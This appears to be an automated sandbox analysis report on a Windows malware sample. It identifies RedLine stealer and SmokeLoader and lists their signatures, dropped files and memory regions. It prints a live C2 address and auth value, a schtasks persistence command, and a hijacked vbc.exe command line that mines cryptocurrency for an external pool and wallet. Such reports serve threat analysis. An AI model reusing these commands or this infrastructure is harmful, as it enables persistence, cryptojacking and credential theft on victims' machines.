Analysis
- max time kernel
137s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
04/11/2022, 17:13
General
- Target a97b870a122b389630c0afde52083a35.exe
- Size 303KB
- Sample221104-vreljsbaep
- SHA256 98895be0f996ac647bdeeaf84bee094a34a5119d16ad4765ecd0fdeedd5dbe40
Malware Config
Extracted
-
redline
-
Google2
-
167.235.71.14:20469
-
auth_value
fb274d9691235ba015830da570a13578
Signatures
- Detects Smokeloader packer 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Downloads MZ/PE file
- Executes dropped EXE 5 IoCs
- UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 34 IoCs
- Suspicious use of WriteProcessMemory 47 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a97b870a122b389630c0afde52083a35.exe"C:\Users\Admin\AppData\Local\Temp\a97b870a122b389630c0afde52083a35.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\CA26.exeC:\Users\Admin\AppData\Local\Temp\CA26.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\CD15.exeC:\Users\Admin\AppData\Local\Temp\CD15.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe"C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDFD1.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs001 -p x -t 65⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\757B.exeC:\Users\Admin\AppData\Local\Temp\757B.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe2⤵
-
C:\Windows\system32\cmd.execmd.exe /c "del C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
LYKAA.exe
LYKAA.exe
757B.exe
757B.exe
CA26.exe
CA26.exe
CD15.exe
CD15.exe
tmpDFD1.tmp.bat
CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
memory/1160-181-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1160-185-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1160-186-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1160-188-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1160-183-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1160-184-0x0000000000400000-0x0000000000BE9000-memory.dmp
memory/1868-149-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/1868-153-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/1868-147-0x0000000000310000-0x00000000003E6000-memory.dmp
memory/3208-135-0x0000000000400000-0x0000000002C39000-memory.dmp
memory/3208-134-0x0000000000400000-0x0000000002C39000-memory.dmp
memory/3208-133-0x0000000002D90000-0x0000000002D99000-memory.dmp
memory/3208-132-0x0000000002E78000-0x0000000002E8E000-memory.dmp
memory/4040-177-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4040-176-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4040-170-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4040-172-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4040-173-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4420-145-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/4420-142-0x00000000008B0000-0x00000000009D0000-memory.dmp
memory/4420-148-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/4648-157-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/4648-175-0x00007FFC65BD0000-0x00007FFC66691000-memory.dmp
memory/4984-169-0x0000000007BB0000-0x0000000007BEC000-memory.dmp
memory/4984-168-0x0000000007B50000-0x0000000007B62000-memory.dmp
memory/4984-167-0x0000000007A10000-0x0000000007B1A000-memory.dmp
memory/4984-166-0x0000000006190000-0x00000000067A8000-memory.dmp
memory/4984-161-0x0000000000400000-0x0000000000428000-memory.dmp